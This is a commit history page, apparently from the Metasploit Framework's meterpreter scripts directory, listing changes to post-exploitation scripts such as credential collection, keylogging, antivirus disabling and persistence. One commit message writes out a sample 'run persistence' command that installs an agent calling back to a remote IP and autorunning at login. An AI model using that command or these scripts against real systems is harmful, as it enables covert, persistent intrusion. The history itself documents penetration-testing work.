Commit Graph

427 Commits (4c28b2a3103cfdc4e1067a684a6371b68cedc0f5)

Author SHA1 Message Date
James Lee 1aa9d1b662 fix some spacing; better option parsing; don't write a file if we don't have to
git-svn-id: file:///home/svn/framework3/trunk@7265 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-26 04:33:53 +00:00
HD Moore 6dfaaef295 Remove the bogus puts()
git-svn-id: file:///home/svn/framework3/trunk@7261 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 21:55:59 +00:00
James Lee cadb1c9337 add -h and usage to get_local_subnets
git-svn-id: file:///home/svn/framework3/trunk@7259 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 21:03:42 +00:00
HD Moore b0a38b1cfa Fix bad uses of puts() and add raise Rex::Script::Completed where appropriate. These still need a major overhaul to fix tab indents and other problems
git-svn-id: file:///home/svn/framework3/trunk@7258 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 20:57:23 +00:00
HD Moore f9f690b0e7 Updated prefetch script and creation of Rex::Script::Completed as a clean way to exit meterpreter scripts
git-svn-id: file:///home/svn/framework3/trunk@7257 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 20:50:07 +00:00
James Lee e93995fdab add -h to credcollect
git-svn-id: file:///home/svn/framework3/trunk@7255 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 19:52:40 +00:00
James Lee 5fd8dc748a add -h and usage to checkvm
git-svn-id: file:///home/svn/framework3/trunk@7254 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:53:43 +00:00
James Lee 134c8d75d7 better option handling, beginnings of universal -h support
git-svn-id: file:///home/svn/framework3/trunk@7253 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:36:47 +00:00
James Lee e836e6373a add Id to scripts; remove shebang since they should never run from commandline
git-svn-id: file:///home/svn/framework3/trunk@7252 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 18:04:39 +00:00
James Lee daed2d5d8f spaces --> tabs
git-svn-id: file:///home/svn/framework3/trunk@7251 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:56:01 +00:00
James Lee cdc042d49b keywords
git-svn-id: file:///home/svn/framework3/trunk@7250 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:45:34 +00:00
James Lee 15f8538e1c spaces --> tabs
git-svn-id: file:///home/svn/framework3/trunk@7249 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-25 17:44:53 +00:00
HD Moore 186be3cefe Removing the old name
git-svn-id: file:///home/svn/framework3/trunk@7231 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:39:11 +00:00
HD Moore 5417926638 Update the prefix script's name
git-svn-id: file:///home/svn/framework3/trunk@7230 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:38:26 +00:00
HD Moore a6c738a89f Add Milo's prefetch meterpreter script, see http://milo2012.wordpress.com/2009/10/22/meterpreter-script-for-prefetch-tool/
git-svn-id: file:///home/svn/framework3/trunk@7229 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-23 05:25:20 +00:00
HD Moore a3c9c5d669 Fixes a compile error that only flagged on ruby 1.8
git-svn-id: file:///home/svn/framework3/trunk@7219 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 22:42:44 +00:00
HD Moore 4b64e01596 Fix the payload name
git-svn-id: file:///home/svn/framework3/trunk@7216 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 19:44:53 +00:00
HD Moore fdda743d71 Add the metsvc script
git-svn-id: file:///home/svn/framework3/trunk@7215 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-20 19:36:19 +00:00
Mario Ceballos fa14f1c50c added meterpreter script for CVE-2007-0161 (hp pml driver)
git-svn-id: file:///home/svn/framework3/trunk@7209 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 19:05:37 +00:00
HD Moore 15e39e95db Fixes #386. Adds a persistent VBS payload option (keep running the payload in a loop) via the loop-vbs type in msfencode. Adds a 'persistence' script to allow easy persistent meterpeter agent deployment. "run persistence -h" for help. Sample command line:
meterpreter> run persistence -r 1.2.3.4 -p 443 -A -X -i 300

This would install a meterpreter agent that would try to connect to 1.2.3.4:443 once every 300 seconds. This would also start a multi/handler in the background (-A) and make this autorun when any user logs in (-X). In most scenarios, this works just fine:

meterpreter> run persistence -A

This uses your default IP and the default port and immediates handles the next connection, but doesnt install via the registry.



git-svn-id: file:///home/svn/framework3/trunk@7204 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-19 02:42:39 +00:00
Carlos Perez 627f0b7261 Fixed problem when parsing options
git-svn-id: file:///home/svn/framework3/trunk@7152 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-12 23:42:50 +00:00
Carlos Perez e259c04c23 Corrected error, calling undefined method instead of the session
git-svn-id: file:///home/svn/framework3/trunk@7151 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-12 23:34:41 +00:00
kris a9791f2b28 just more typos, etc
git-svn-id: file:///home/svn/framework3/trunk@7140 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-11 17:30:24 +00:00
kris 9e2ebb5a1d just typos
git-svn-id: file:///home/svn/framework3/trunk@7139 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-11 17:09:17 +00:00
kris ea67ed2554 output typo
git-svn-id: file:///home/svn/framework3/trunk@7131 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-06 05:39:05 +00:00
Carlos Perez 45372a6870 Minor change in description of what it is doing
git-svn-id: file:///home/svn/framework3/trunk@7114 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 10:51:52 +00:00
Carlos Perez 2176a774ba Forgot to test under Ruby 1.9, made changes specific to string handling and made command array a multiline string
git-svn-id: file:///home/svn/framework3/trunk@7113 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 01:10:22 +00:00
Carlos Perez ad0dcfbd12 Fixed issues when running with AutoRunScript and fixed problem with script collection parsing option
git-svn-id: file:///home/svn/framework3/trunk@7112 4d416f70-5f16-0410-b530-b9f4589650da
2009-10-02 00:46:05 +00:00
HD Moore e03d2c84b3 Adds a meterpreter script to trigger the VirtualBox DoS - also an example of running shellcode in another process from the meterpreter api
git-svn-id: file:///home/svn/framework3/trunk@6935 4d416f70-5f16-0410-b530-b9f4589650da
2009-08-02 16:42:54 +00:00
Carlos Perez 263998e27d Added UAC detection for Windows Vista and Windows 7 and checking so as to be able to perform certain accions
git-svn-id: file:///home/svn/framework3/trunk@6904 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-26 17:31:32 +00:00
Carlos Perez 4c2d606183 Updated UAC detection for Windows Vista and Windows 7 Systems allowing to be run under SYSTEM priv
git-svn-id: file:///home/svn/framework3/trunk@6903 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-26 17:09:42 +00:00
Carlos Perez 4559d0e9f3 Script for running a list of other scripts automating the execution of several scripts for post exploitation
git-svn-id: file:///home/svn/framework3/trunk@6893 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-25 02:35:35 +00:00
Carlos Perez b2da01a91a Cleanned up a bit the code and added delete option after upload
git-svn-id: file:///home/svn/framework3/trunk@6892 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-24 23:41:07 +00:00
kris a13a923cba typos
git-svn-id: file:///home/svn/framework3/trunk@6891 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-24 21:22:20 +00:00
Carlos Perez 19f1d59d5d Meterpreter Script for uploading and executing an executable with options
git-svn-id: file:///home/svn/framework3/trunk@6889 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-24 18:26:38 +00:00
Carlos Perez 0ce2d7c6a1 re-wrote checkvm now check in more places, supports Hyper-v, VPC, Vbox, VMware and Xen
git-svn-id: file:///home/svn/framework3/trunk@6879 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-23 03:41:27 +00:00
James Lee 529ded22ae reverting last commit; somebody didn't cross their fingers
git-svn-id: file:///home/svn/framework3/trunk@6847 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 20:48:47 +00:00
James Lee c3dc1ecb55 reintegrate browser_autopwn into trunk; cross your fingers and hope this works
git-svn-id: file:///home/svn/framework3/trunk@6846 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-19 17:27:36 +00:00
Carlos Perez cc69ce51cd Fixed problem when script was ran without options
git-svn-id: file:///home/svn/framework3/trunk@6771 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 02:13:54 +00:00
Carlos Perez 9f45c6b0fc Packetrecorder script for automating new sniffer module
git-svn-id: file:///home/svn/framework3/trunk@6770 4d416f70-5f16-0410-b530-b9f4589650da
2009-07-13 01:36:08 +00:00
Carlos Perez 22ff946cd2 git-svn-id: file:///home/svn/framework3/trunk@6690 4d416f70-5f16-0410-b530-b9f4589650da 2009-06-20 22:23:12 +00:00
Carlos Perez e4654a7c34 Multi command execution script
git-svn-id: file:///home/svn/framework3/trunk@6689 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 22:21:17 +00:00
Carlos Perez e3a2433146 Multi command execution script
git-svn-id: file:///home/svn/framework3/trunk@6685 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:48:18 +00:00
Carlos Perez 6decdc57b3 Updated for Ruby 1.9.1
git-svn-id: file:///home/svn/framework3/trunk@6684 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 17:47:37 +00:00
Carlos Perez 9e28205d16 Updated for Ruby 1.9.1
git-svn-id: file:///home/svn/framework3/trunk@6680 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-20 16:15:46 +00:00
Carlos Perez 5636204767 Updated hostsedit script
git-svn-id: file:///home/svn/framework3/trunk@6658 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 19:49:07 +00:00
Carlos Perez 66a7cc1a88 Script for Running the WMIC command tool on the target host.
git-svn-id: file:///home/svn/framework3/trunk@6647 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-14 01:54:35 +00:00
Carlos Perez 3cf9088e1f Script for modifying the hosts file of a target computer
git-svn-id: file:///home/svn/framework3/trunk@6631 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-09 02:50:06 +00:00
HD Moore 7ef884eba7 Updated winenum frmo Carlos Perez
git-svn-id: file:///home/svn/framework3/trunk@6574 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-22 02:33:33 +00:00
HD Moore 9a831f452c Fixed winenum from Carlos
git-svn-id: file:///home/svn/framework3/trunk@6557 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-16 21:24:33 +00:00
HD Moore 37eadc98f5 More scripts from Carlos Perez along with improvements to the existing scripts
git-svn-id: file:///home/svn/framework3/trunk@6556 4d416f70-5f16-0410-b530-b9f4589650da
2009-05-15 04:24:20 +00:00
HD Moore fad673fb35 Correct the execute flags
git-svn-id: file:///home/svn/framework3/trunk@6434 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 16:39:47 +00:00
HD Moore 9471a632b6 Adds support for 2007 office types, from Rhys Kidd
git-svn-id: file:///home/svn/framework3/trunk@6433 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 16:36:15 +00:00
HD Moore df2df5ca86 Fall back to spawning a new calc.exe process and migratnig there
git-svn-id: file:///home/svn/framework3/trunk@6431 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-29 08:14:47 +00:00
HD Moore f8cef46c90 Adds the credcollect plugin and script from tebo
git-svn-id: file:///home/svn/framework3/trunk@6410 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 07:44:44 +00:00
HD Moore e702526dff Fixes up namespace issues in the scraper script
git-svn-id: file:///home/svn/framework3/trunk@6403 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-28 05:52:10 +00:00
natron aae66a4cb3 Per Carlos Perez, WMIC misspells Windows Serverr. Reversing typo corrections.
git-svn-id: file:///home/svn/framework3/trunk@6392 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 22:00:36 +00:00
natron 5f5dfbf823 getcountermeasure.rb script from Carlos Perez (detect/disable AV/HIPS/FWs/etc)
git-svn-id: file:///home/svn/framework3/trunk@6390 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 15:32:09 +00:00
natron 970d30cd45 Typos in meterpreter scripts (thanks Rhys Kidd)
git-svn-id: file:///home/svn/framework3/trunk@6389 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 15:15:56 +00:00
kris f7608fd395 syntactic fix
git-svn-id: file:///home/svn/framework3/trunk@6387 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 03:29:45 +00:00
natron 02ab203dfd Updated meterpreter scripts from Carlos Perez
git-svn-id: file:///home/svn/framework3/trunk@6386 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 03:13:54 +00:00
HD Moore 73e946ccf1 Bug fixes for typos; dont grabdesktop automatically (breaks psexec apparently)
git-svn-id: file:///home/svn/framework3/trunk@6385 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-25 00:08:42 +00:00
HD Moore 129890d39b Script wrapper around the new keylogger commands from Carlos Perez
git-svn-id: file:///home/svn/framework3/trunk@6384 4d416f70-5f16-0410-b530-b9f4589650da
2009-03-24 03:21:57 +00:00
HD Moore 469378269e Added additional process names submitted by Jerome ATHIAS
git-svn-id: file:///home/svn/framework3/trunk@6204 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-30 06:29:09 +00:00
HD Moore e6ef0ab495 New scripts and updated scripts from Carlos Perez
git-svn-id: file:///home/svn/framework3/trunk@6202 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-30 06:18:02 +00:00
kris a1851b19db just typos/misspellings
git-svn-id: file:///home/svn/framework3/trunk@6113 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-11 03:17:21 +00:00
HD Moore 51f01d05a4 Committ a pile of scripts from Carlos Perez, along with the original version of scraper.rb
git-svn-id: file:///home/svn/framework3/trunk@6091 4d416f70-5f16-0410-b530-b9f4589650da
2009-01-08 18:14:03 +00:00
kris 21cb3a5c79 ignore 0.0.0.0
git-svn-id: file:///home/svn/framework3/trunk@5920 4d416f70-5f16-0410-b530-b9f4589650da
2008-11-14 17:12:38 +00:00
kris f4dd47824e fix args checking (back like r5834)
git-svn-id: file:///home/svn/framework3/trunk@5918 4d416f70-5f16-0410-b530-b9f4589650da
2008-11-14 05:18:50 +00:00
James Lee 75feaa6fab allow passing args to meterpreter scripts through AutoRunScript
git-svn-id: file:///home/svn/framework3/trunk@5853 4d416f70-5f16-0410-b530-b9f4589650da
2008-11-08 19:39:06 +00:00
James Lee c46eb3c628 remove useless reference to args[0]
git-svn-id: file:///home/svn/framework3/trunk@5835 4d416f70-5f16-0410-b530-b9f4589650da
2008-11-04 06:57:26 +00:00
Ramon de C Valle f124597a56 Code cleanups
git-svn-id: file:///home/svn/framework3/trunk@5773 4d416f70-5f16-0410-b530-b9f4589650da
2008-10-19 21:03:39 +00:00
HD Moore 44f4f9f55b New code from Nicob, thanks!
git-svn-id: file:///home/svn/framework3/trunk@4960 4d416f70-5f16-0410-b530-b9f4589650da
2007-05-22 21:08:47 +00:00
HD Moore c38c2dbbc6 Merged a bigger list in from http://oasi.ac-aix-marseille.fr/article298.html
git-svn-id: file:///home/svn/framework3/trunk@4020 4d416f70-5f16-0410-b530-b9f4589650da
2006-10-11 17:47:19 +00:00
HD Moore 7396e71845 Reorg
git-svn-id: file:///home/svn/framework3/trunk@3919 4d416f70-5f16-0410-b530-b9f4589650da
2006-09-19 22:01:17 +00:00
HD Moore c68180ab0c Antivirus killing metepreter script from Jerome
git-svn-id: file:///home/svn/framework3/trunk@3918 4d416f70-5f16-0410-b530-b9f4589650da
2006-09-19 21:22:11 +00:00
Matt Miller 00ffcc3835 support for meterpreter scripts
git-svn-id: file:///home/svn/framework3/trunk@3916 4d416f70-5f16-0410-b530-b9f4589650da
2006-09-19 03:15:25 +00:00